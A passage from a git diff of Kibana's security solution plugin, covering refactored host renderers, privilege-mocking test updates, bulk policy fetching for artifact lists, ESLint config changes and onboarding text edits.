assignment rights only; privileges for each artifact type are required for full artifact management.Global Artifact Management sub-feature privilegeAllNone', 'Trusted Applications Helps mitigate conflicts with other software, usually other antivirus or endpoint security applications.Trusted Applications sub-feature privilegeAllReadNone', 'Host Isolation Exceptions Add specific IP addresses that isolated hosts are still allowed to communicate with, even when isolated from the rest of the network.Host Isolation Exceptions sub-feature privilegeAllReadNone', 'Blocklist Extend Elastic Defend’s protection against malicious processes and protect against potentially harmful applications.Blocklist sub-feature privilegeAllReadNone', diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/pages/blocklist/view/components/blocklist_form.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/management/pages/blocklist/view/components/blocklist_form.test.tsx index 89b804ebeb6c5..1ae836c45bc4f 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/pages/blocklist/view/components/blocklist_form.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/management/pages/blocklist/view/components/blocklist_form.test.tsx @@ -27,6 +27,8 @@ import { ListOperatorEnum, ListOperatorTypeEnum } from '@kbn/securitysolution-io import { ENDPOINT_ARTIFACT_LISTS } from '@kbn/securitysolution-list-constants'; import type { IHttpFetchError } from '@kbn/core/public'; +jest.mock('../../../../../common/components/user_privileges'); + jest.mock('../../../../../common/hooks/use_license', () => { const licenseServiceInstance = { isPlatinumPlus: jest.fn(), diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/pages/event_filters/view/components/form.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/management/pages/event_filters/view/components/form.test.tsx index 7fc5d0dc45ee4..2e4b35bdcee21 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/pages/event_filters/view/components/form.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/management/pages/event_filters/view/components/form.test.tsx @@ -28,6 +28,9 @@ import { import type { IHttpFetchError } from '@kbn/core-http-browser'; import { buildPerPolicyTag } from '../../../../../../common/endpoint/service/artifacts/utils'; +jest.setTimeout(15_000); // Costly tests, hitting 2 seconds execution time locally + +jest.mock('../../../../../common/components/user_privileges'); jest.mock('../../../../../common/lib/kibana'); jest.mock('../../../../../common/containers/source'); jest.mock('../../../../../common/hooks/use_license', () => { @@ -174,8 +177,7 @@ describe('Event filter form', () => { cleanup(); }); - // FLAKY: https://github.com/elastic/kibana/issues/214053 - describe.skip('Details and Conditions', () => { + describe('Details and Conditions', () => { it('should display sections', async () => { render(); expect(renderResult.queryByText('Details')).not.toBeNull(); diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/pages/event_filters/view/integration_tests/event_filters_list.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/management/pages/event_filters/view/integration_tests/event_filters_list.test.tsx index 5a0557a9360f8..9c7bdf490e911 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/pages/event_filters/view/integration_tests/event_filters_list.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/management/pages/event_filters/view/integration_tests/event_filters_list.test.tsx @@ -40,7 +40,10 @@ describe('When on the Event Filters list page', () => { history.push(EVENT_FILTERS_PATH); }); - mockedEndpointPrivileges = { canWriteTrustedApplications: true }; + mockedEndpointPrivileges = { + canManageGlobalArtifacts: true, + canWriteTrustedApplications: true, + }; mockUserPrivileges.mockReturnValue({ endpointPrivileges: mockedEndpointPrivileges }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/artifacts/list/policy_artifacts_list.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/artifacts/list/policy_artifacts_list.test.tsx index 597b0f3d9a14c..b41296c7c7727 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/artifacts/list/policy_artifacts_list.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/artifacts/list/policy_artifacts_list.test.tsx @@ -18,9 +18,14 @@ import { eventFiltersListQueryHttpMock } from '../../../../event_filters/test_ut import { PolicyArtifactsList } from './policy_artifacts_list'; import { parseQueryFilterToKQL, parsePoliciesAndFilterToKql } from '../../../../../common/utils'; import { SEARCHABLE_FIELDS } from '../../../../event_filters/constants'; -import { getEndpointPrivilegesInitialStateMock } from '../../../../../../common/components/user_privileges/endpoint/mocks'; +import { useUserPrivileges as _useUserPrivileges } from '../../../../../../common/components/user_privileges'; import { POLICY_ARTIFACT_LIST_LABELS } from './translations'; import { EventFiltersApiClient } from '../../../../event_filters/service/api_client'; +import { ExceptionsListItemGenerator } from '../../../../../../../common/endpoint/data_generators/exceptions_list_item_generator'; +import { buildPerPolicyTag } from '../../../../../../../common/endpoint/service/artifacts/utils'; + +jest.mock('../../../../../../common/components/user_privileges'); +const useUserPrivilegesMock = _useUserPrivileges as jest.Mock; const endpointGenerator = new EndpointDocGenerator('seed'); const getDefaultQueryParameters = (customFilter: string | undefined = '') => ({ @@ -53,9 +58,6 @@ describe('Policy details artifacts list', () => { mockedApi = eventFiltersListQueryHttpMock(mockedContext.coreStart.http); ({ history } = mockedContext); handleOnDeleteActionCallbackMock = jest.fn(); - getEndpointPrivilegesInitialStateMock({ - canCreateArtifactsByPolicy: true, - }); render = async (canWriteArtifact = true) => { renderResult = mockedContext.render( { }); it('does not show remove option in actions menu if license is downgraded to gold or below', async () => { - getEndpointPrivilegesInitialStateMock({ - canCreateArtifactsByPolicy: false, - }); + mockedContext + .getUserPrivilegesMockSetter(useUserPrivilegesMock) + .set({ canCreateArtifactsByPolicy: false }); mockedApi.responseProvider.eventFiltersList.mockReturnValue( getFoundExceptionListItemSchemaMock() ); @@ -183,6 +185,33 @@ describe('Policy details artifacts list', () => { expect(history.location.search).not.toMatch('page_size'); }); + it('should retrieve all policies using getById api', async () => { + const generator = new ExceptionsListItemGenerator('seed'); + + mockedApi.responseProvider.eventFiltersList.mockReturnValue({ + data: [ + generator.generateEventFilter({ + tags: [buildPerPolicyTag('policy-1'), buildPerPolicyTag('policy-2')], + }), + generator.generateEventFilter({ + tags: [buildPerPolicyTag('policy-3'), buildPerPolicyTag('policy-2')], + }), + ], + page: 1, + per_page: 1, + total: 1, + }); + await render(); + + expect(mockedContext.coreStart.http.post).toHaveBeenCalledWith( + '/api/fleet/package_policies/_bulk_get', + { + body: '{"ids":["policy-1","policy-2","policy-3"],"ignoreMissing":true}', + version: expect.any(String), + } + ); + }); + describe('without external privileges', () => { it('should not display the delete action, do show the full details', async () => { mockedApi.responseProvider.eventFiltersList.mockReturnValue( diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/artifacts/list/policy_artifacts_list.tsx b/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/artifacts/list/policy_artifacts_list.tsx index 696e29f770645..5eaf4d3e256e5 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/artifacts/list/policy_artifacts_list.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/artifacts/list/policy_artifacts_list.tsx @@ -9,6 +9,7 @@ import React, { useCallback, useMemo, useState } from 'react'; import type { Pagination } from '@elastic/eui'; import { EuiSpacer, EuiText } from '@elastic/eui'; import type { ExceptionListItemSchema } from '@kbn/securitysolution-io-ts-list-types'; +import { useBulkFetchFleetIntegrationPolicies } from '../../../../../hooks/policy/use_bulk_fetch_fleet_integration_policies'; import type { ArtifactEntryCardDecoratorProps } from '../../../../../components/artifact_entry_card'; import { useAppUrl } from '../../../../../../common/lib/kibana'; import { APP_UI_ID } from '../../../../../../../common/constants'; @@ -17,13 +18,15 @@ import { SearchExceptions } from '../../../../../components/search_exceptions'; import { useEndpointPoliciesToArtifactPolicies } from '../../../../../components/artifact_entry_card/hooks/use_endpoint_policies_to_artifact_policies'; import { useUrlParams } from '../../../../../hooks/use_url_params'; import { useUrlPagination } from '../../../../../hooks/use_url_pagination'; -import { useGetEndpointSpecificPolicies } from '../../../../../services/policies/hooks'; import { useOldUrlSearchPaginationReplace } from '../../../../../hooks/use_old_url_search_pagination_replace'; import type { ArtifactCardGridProps } from '../../../../../components/artifact_card_grid'; import { ArtifactCardGrid } from '../../../../../components/artifact_card_grid'; import { usePolicyDetailsArtifactsNavigateCallback } from '../../policy_hooks'; import type { ImmutableObject, PolicyData } from '../../../../../../../common/endpoint/types'; -import { isArtifactGlobal } from '../../../../../../../common/endpoint/service/artifacts'; +import { + getPolicyIdsFromArtifact, + isArtifactGlobal, +} from '../../../../../../../common/endpoint/service/artifacts'; import { useUserPrivileges } from '../../../../../../common/components/user_privileges'; import { useGetLinkTo } from '../empty/use_policy_artifacts_empty_hooks'; import type { ExceptionsListApiClient } from '../../../../../services/exceptions_list/exceptions_list_api_client'; @@ -58,7 +61,6 @@ export const PolicyArtifactsList = React.memo( useOldUrlSearchPaginationReplace(); const { getAppUrl } = useAppUrl(); const { canCreateArtifactsByPolicy } = useUserPrivileges().endpointPrivileges; - const policiesRequest = useGetEndpointSpecificPolicies({ perPage: 1000 }); const navigateCallback = usePolicyDetailsArtifactsNavigateCallback(apiClient.listId); const { urlParams } = useUrlParams(); const [expandedItemsMap, setExpandedItemsMap] = useState>(new Map()); @@ -82,6 +84,23 @@ export const PolicyArtifactsList = React.memo( searchableFields ); + const allArtifactReferencedPolicyIds: string[] = useMemo(() => { + const ids = new Set(); + + if (artifacts?.data) { + for (const artifact of artifacts.data) { + getPolicyIdsFromArtifact(artifact).forEach((policyId) => ids.add(policyId)); + } + } + + return Array.from(ids); + }, [artifacts?.data]); + + const policiesRequest = useBulkFetchFleetIntegrationPolicies( + { ids: allArtifactReferencedPolicyIds }, + { enabled: allArtifactReferencedPolicyIds.length > 0, keepPreviousData: false } + ); + const pagination: Pagination = useMemo( () => ({ pageSize: urlPagination.pageSize, diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/policy_settings_form/components/advanced_section.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/policy_settings_form/components/advanced_section.test.tsx index 96331492cc3c4..addff15ccc13b 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/policy_settings_form/components/advanced_section.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/management/pages/policy/view/policy_settings_form/components/advanced_section.test.tsx @@ -20,12 +20,12 @@ import { AdvancedPolicySchema } from '../../../models/advanced_policy_schema'; import { within } from '@testing-library/react'; import { set } from '@kbn/safer-lodash-set'; +jest.setTimeout(15_000); // Costly tests, hitting 2 seconds execution time locally jest.mock('../../../../../../common/hooks/use_license'); const useLicenseMock = _useLicense as jest.Mock; -// Failing: See https://github.com/elastic/kibana/issues/205141 -describe.skip('Policy Advanced Settings section', () => { +describe('Policy Advanced Settings section', () => { const testSubj = getPolicySettingsFormTestSubjects('test').advancedSection; let formProps: AdvancedSectionProps; diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/pages/trusted_apps/view/components/form.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/management/pages/trusted_apps/view/components/form.test.tsx index 99701bb082762..1d435dd36a90d 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/pages/trusted_apps/view/components/form.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/management/pages/trusted_apps/view/components/form.test.tsx @@ -26,6 +26,8 @@ import { forceHTMLElementOffsetWidth } from '../../../../components/effected_pol import type { TrustedAppConditionEntry } from '../../../../../../common/endpoint/types'; import type { IHttpFetchError } from '@kbn/core-http-browser'; +jest.mock('../../../../../common/components/user_privileges'); + jest.mock('../../../../../common/hooks/use_license', () => { const licenseServiceInstance = { isPlatinumPlus: jest.fn(), diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/pages/trusted_apps/view/trusted_apps_list.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/management/pages/trusted_apps/view/trusted_apps_list.test.tsx index 80e3998e191c7..ab24c69d817dc 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/pages/trusted_apps/view/trusted_apps_list.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/management/pages/trusted_apps/view/trusted_apps_list.test.tsx @@ -51,7 +51,10 @@ describe('When on the trusted applications page', () => { history.push(TRUSTED_APPS_PATH); }); - mockedEndpointPrivileges = { canWriteTrustedApplications: true }; + mockedEndpointPrivileges = { + canManageGlobalArtifacts: true, + canWriteTrustedApplications: true, + }; mockUserPrivileges.mockReturnValue({ endpointPrivileges: mockedEndpointPrivileges }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/onboarding/.eslintrc.js b/x-pack/solutions/security/plugins/security_solution/public/onboarding/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/onboarding/.eslintrc.js +++ b/x-pack/solutions/security/plugins/security_solution/public/onboarding/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/assistant/assistant_card.tsx b/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/assistant/assistant_card.tsx index 6eeeb8b9bc2f6..7591cfa52a672 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/assistant/assistant_card.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/assistant/assistant_card.tsx @@ -6,8 +6,7 @@ */ import React, { useCallback, useMemo } from 'react'; -import { EuiFlexGroup, EuiFlexItem, EuiIcon, EuiLink } from '@elastic/eui'; -import { css } from '@emotion/css'; +import { EuiFlexGroup, EuiFlexItem } from '@elastic/eui'; import { useAssistantContext, type Conversation, @@ -23,7 +22,6 @@ import { import { useConversation } from '@kbn/elastic-assistant/impl/assistant/use_conversation'; import { CenteredLoadingSpinner } from '../../../../../common/components/centered_loading_spinner'; -import { OnboardingCardId } from '../../../../constants'; import type { OnboardingCardComponent } from '../../../../types'; import * as i18n from './translations'; import { ConnectorsMissingPrivilegesCallOut } from '../common/connectors/missing_privileges'; @@ -31,7 +29,6 @@ import { useStoredAssistantConnectorId } from '../../../hooks/use_stored_state'; import { useOnboardingContext } from '../../../onboarding_context'; import { OnboardingCardContentPanel } from '../common/card_content_panel'; import { ConnectorCards } from '../common/connectors/connector_cards'; -import { CardCallOut } from '../common/card_callout'; import { CardSubduedText } from '../common/card_subdued_text'; import type { AIConnector } from '../common/connectors/types'; import type { AssistantCardMetadata } from './types'; @@ -47,20 +44,6 @@ export const AssistantCard: OnboardingCardComponent = ({ const { spaceId } = useOnboardingContext(); const { connectors, canExecuteConnectors, canCreateConnectors } = checkCompleteMetadata ?? {}; - const isIntegrationsCardComplete = useMemo( - () => isCardComplete(OnboardingCardId.integrations), - [isCardComplete] - ); - - const isIntegrationsCardAvailable = useMemo( - () => isCardAvailable(OnboardingCardId.integrations), - [isCardAvailable] - ); - - const expandIntegrationsCard = useCallback(() => { - setExpandedCardId(OnboardingCardId.integrations, { scroll: true }); - }, [setExpandedCardId]); - const [selectedConnectorId, setSelectedConnectorId] = useStoredAssistantConnectorId(spaceId); const defaultConnector = useMemo(() => getDefaultConnector(connectors), [connectors]); @@ -172,37 +155,13 @@ export const AssistantCard: OnboardingCardComponent = ({ - {isIntegrationsCardAvailable && !isIntegrationsCardComplete ? ( - - - - {i18n.ASSISTANT_CARD_CALLOUT_INTEGRATIONS_BUTTON} - - - - -
    - } - /> - - ) : ( - - )} + ) : ( diff --git a/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/assistant/translations.ts b/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/assistant/translations.ts index 03b81f7605f36..94a6db049f012 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/assistant/translations.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/assistant/translations.ts @@ -20,17 +20,3 @@ export const ASSISTANT_CARD_DESCRIPTION = i18n.translate( 'Choose and configure any AI provider available to use with Elastic AI Assistant.', } ); - -export const ASSISTANT_CARD_CALLOUT_INTEGRATIONS_TEXT = i18n.translate( - 'xpack.securitySolution.onboarding.assistantCard.calloutIntegrationsText', - { - defaultMessage: 'To add Elastic rules add integrations first.', - } -); - -export const ASSISTANT_CARD_CALLOUT_INTEGRATIONS_BUTTON = i18n.translate( - 'xpack.securitySolution.onboarding.assistantCard.calloutIntegrationsButton', - { - defaultMessage: 'Add integrations step', - } -); diff --git a/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/siem_migrations/ai_connector/translations.ts b/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/siem_migrations/ai_connector/translations.ts index 87f24749e74c5..4cafca9a0affb 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/siem_migrations/ai_connector/translations.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/onboarding/components/onboarding_body/cards/siem_migrations/ai_connector/translations.ts @@ -10,7 +10,7 @@ import { i18n } from '@kbn/i18n'; export const AI_CONNECTOR_CARD_TITLE = i18n.translate( 'xpack.securitySolution.onboarding.aiConnector.title', { - defaultMessage: 'Configure AI provider', + defaultMessage: 'Configure AI Provider', } ); @@ -33,8 +33,8 @@ export const LLM_MATRIX_LINK = i18n.translate( ); export const AI_POWERED_MIGRATIONS_LINK = i18n.translate( - 'xpack.securitySolution.onboarding.aiConnector.siemMigrationLink', - { defaultMessage: 'AI-powered SIEM migration' } + 'xpack.securitySolution.onboarding.aiConnector.automaticMigrationLink', + { defaultMessage: 'AI-powered Automatic migration' } ); export const LEARN_MORE_LINK = i18n.translate( diff --git a/x-pack/solutions/security/plugins/security_solution/public/onboarding/config.ts b/x-pack/solutions/security/plugins/security_solution/public/onboarding/config.ts index 20e008ad9ee04..3923d22d78705 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/onboarding/config.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/onboarding/config.ts @@ -35,8 +35,8 @@ export const onboardingConfig: TopicConfig[] = [ }, { id: OnboardingTopicId.siemMigrations, - title: i18n.translate('xpack.securitySolution.onboarding.topic.siemMigrations', { - defaultMessage: 'SIEM rule migration', + title: i18n.translate('xpack.securitySolution.onboarding.topic.automaticMigration', { + defaultMessage: 'Automatic migration', }), body: siemMigrationsBodyConfig, disabledExperimentalFlagRequired: 'siemMigrationsDisabled', diff --git a/x-pack/solutions/security/plugins/security_solution/public/overview/.eslintrc.js b/x-pack/solutions/security/plugins/security_solution/public/overview/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/overview/.eslintrc.js +++ b/x-pack/solutions/security/plugins/security_solution/public/overview/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/plugins/security_solution/public/overview/components/host_overview/__snapshots__/index.test.tsx.snap b/x-pack/solutions/security/plugins/security_solution/public/overview/components/host_overview/__snapshots__/index.test.tsx.snap index 65e9d1a73e458..d57574bd05cae 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/overview/components/host_overview/__snapshots__/index.test.tsx.snap +++ b/x-pack/solutions/security/plugins/security_solution/public/overview/components/host_overview/__snapshots__/index.test.tsx.snap @@ -166,7 +166,7 @@ exports[`Host Summary Component it renders the default Host Summary 1`] = ` >

    @@ -160,14 +159,13 @@ exports[`Field Renderers #hostNameRenderer it renders correctly against snapshot - raspberrypi - +
    diff --git a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/field_renderers/field_renderers.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/field_renderers/field_renderers.test.tsx index 8e968db337a3a..3949e1db76b49 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/field_renderers/field_renderers.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/field_renderers/field_renderers.test.tsx @@ -13,6 +13,7 @@ import { TestProviders } from '../../../common/mock'; import { getEmptyValue } from '../../../common/components/empty_value'; import { autonomousSystemRenderer, + hostIdRenderer, hostNameRenderer, locationRenderer, whoisRenderer, @@ -34,6 +35,8 @@ mockGetUrlForApp.mockImplementation( jest.mock('../../../common/hooks/use_get_field_spec'); +const mockHost: HostEcs = mockData.complete.host as HostEcs; + describe('Field Renderers', () => { const scopeId = SourcererScopeName.default; @@ -110,7 +113,12 @@ describe('Field Renderers', () => { test('it renders correctly against snapshot', () => { const { asFragment } = render( - {hostNameRenderer(scopeId, mockData.complete.host, '10.10.10.10')} + {hostIdRenderer({ + scopeId, + host: mockHost, + ipFilter: '10.10.10.10', + isFlyoutOpen: false, + })} ); expect(asFragment()).toMatchSnapshot(); @@ -119,7 +127,12 @@ describe('Field Renderers', () => { test('it renders emptyTagValue when non-matching IP is provided', () => { render( - {hostNameRenderer(scopeId, mockData.complete.host, '10.10.10.11')} + {hostIdRenderer({ + scopeId, + host: mockHost, + ipFilter: '10.10.10.11', + isFlyoutOpen: false, + })} ); expect(screen.getByText(getEmptyValue())).toBeInTheDocument(); @@ -127,13 +140,25 @@ describe('Field Renderers', () => { test('it renders emptyTagValue when no host.id is provided', () => { render( - {hostNameRenderer(scopeId, emptyIdHost, FlowTarget.source)} + + {hostIdRenderer({ + scopeId, + host: emptyIdHost, + isFlyoutOpen: false, + })} + ); expect(screen.getByText(getEmptyValue())).toBeInTheDocument(); }); test('it renders emptyTagValue when no host.ip is provided', () => { render( - {hostNameRenderer(scopeId, emptyIpHost, FlowTarget.source)} + + {hostIdRenderer({ + scopeId, + host: emptyIpHost, + isFlyoutOpen: false, + })} + ); expect(screen.getByText(getEmptyValue())).toBeInTheDocument(); }); @@ -143,7 +168,12 @@ describe('Field Renderers', () => { test('it renders correctly against snapshot', () => { const { asFragment } = render( - {hostNameRenderer(scopeId, mockData.complete.host, '10.10.10.10')} + {hostNameRenderer({ + scopeId, + host: mockHost, + ipFilter: '10.10.10.10', + isFlyoutOpen: false, + })} ); @@ -153,27 +183,38 @@ describe('Field Renderers', () => { test('it renders emptyTagValue when non-matching IP is provided', () => { render( - {hostNameRenderer(scopeId, mockData.complete.host, '10.10.10.11')} + {hostNameRenderer({ + scopeId, + host: mockHost, + ipFilter: '10.10.10.11', + isFlyoutOpen: false, + })} ); expect(screen.getByText(getEmptyValue())).toBeInTheDocument(); }); - test('it renders emptyTagValue when no host.id is provided', () => { - render( - {hostNameRenderer(scopeId, emptyIdHost, FlowTarget.source)} - ); - expect(screen.getByText(getEmptyValue())).toBeInTheDocument(); - }); test('it renders emptyTagValue when no host.ip is provided', () => { render( - {hostNameRenderer(scopeId, emptyIpHost, FlowTarget.source)} + + {hostNameRenderer({ + scopeId, + host: emptyIpHost, + isFlyoutOpen: false, + })} + ); expect(screen.getByText(getEmptyValue())).toBeInTheDocument(); }); test('it renders emptyTagValue when no host.name is provided', () => { render( - {hostNameRenderer(scopeId, emptyNameHost, FlowTarget.source)} + + {hostNameRenderer({ + scopeId, + host: emptyNameHost, + isFlyoutOpen: false, + })} + ); expect(screen.getByText(getEmptyValue())).toBeInTheDocument(); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/field_renderers/field_renderers.tsx b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/field_renderers/field_renderers.tsx index 731ae4b441b8c..1b970e175f0a7 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/field_renderers/field_renderers.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/field_renderers/field_renderers.tsx @@ -17,9 +17,10 @@ import type { } from '../../../../common/search_strategy'; import { DefaultDraggable } from '../../../common/components/draggables'; import { getEmptyTagValue } from '../../../common/components/empty_value'; -import { HostDetailsLink, ReputationLink, WhoIsLink } from '../../../common/components/links'; +import { ReputationLink, WhoIsLink } from '../../../common/components/links'; import * as i18n from '../../../explore/network/components/details/translations'; import type { SourcererScopeName } from '../../../sourcerer/store/model'; +import { FlyoutLink } from '../../../flyout/shared/components/flyout_link'; export const IpOverviewId = 'ip-overview'; @@ -92,7 +93,8 @@ interface HostIdRendererTypes { host: HostEcs; ipFilter?: string; noLink?: boolean; - scopeId: string | undefined; + scopeId: string; + isFlyoutOpen: boolean; } export const hostIdRenderer = ({ @@ -101,6 +103,7 @@ export const hostIdRenderer = ({ ipFilter, noLink, scopeId, + isFlyoutOpen, }: HostIdRendererTypes): React.ReactElement => host.id && host.ip && (ipFilter == null || host.ip.includes(ipFilter)) ? ( <> @@ -118,7 +121,14 @@ export const hostIdRenderer = ({ {noLink ? ( <>{host.id} ) : ( - {host.id} + + {host.id} + )} ) : ( @@ -129,17 +139,21 @@ export const hostIdRenderer = ({ getEmptyTagValue() ); -export const hostNameRenderer = ( - scopeId: SourcererScopeName, - host?: HostEcs, - ipFilter?: string, - contextID?: string -): React.ReactElement => - host && - host.name && - host.name[0] && - host.ip && - (!(ipFilter != null) || host.ip.includes(ipFilter)) ? ( +interface HostNameRendererTypes { + scopeId: SourcererScopeName; + host: HostEcs; + ipFilter?: string; + contextID?: string; + isFlyoutOpen: boolean; +} +export const hostNameRenderer = ({ + scopeId, + host, + ipFilter, + contextID, + isFlyoutOpen, +}: HostNameRendererTypes): React.ReactElement => + host.name && host.name[0] && host.ip && (!(ipFilter != null) || host.ip.includes(ipFilter)) ? ( - - {host.name ? host.name : getEmptyTagValue()} - + ) : ( getEmptyTagValue() diff --git a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/fields_browser/index.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/fields_browser/index.test.tsx index a8a48567c8501..e65b5fb7298fc 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/fields_browser/index.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/fields_browser/index.test.tsx @@ -94,6 +94,7 @@ describe('useFieldBrowserOptions', () => { mockIndexPatternFieldEditor.userPermissions.editIndexPattern = () => true; useKibanaMock().services.dataViewFieldEditor = mockIndexPatternFieldEditor; useKibanaMock().services.data.dataViews.get = () => new Promise(() => undefined); + useKibanaMock().services.data.dataViews.clearInstanceCache = () => undefined; useKibanaMock().services.application.capabilities = { ...useKibanaMock().services.application.capabilities, diff --git a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/fields_browser/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/fields_browser/index.tsx index c9acc48051911..3a0f8d38c68d0 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/fields_browser/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/fields_browser/index.tsx @@ -13,8 +13,11 @@ import type { CreateFieldComponent, GetFieldTableColumns, } from '@kbn/response-ops-alerts-fields-browser/types'; +import { browserFieldsManager } from '../../../data_view_manager/utils/security_browser_fields_manager'; import type { ColumnHeaderOptions } from '../../../../common/types'; -import { useDataView } from '../../../common/containers/source/use_data_view'; +import { 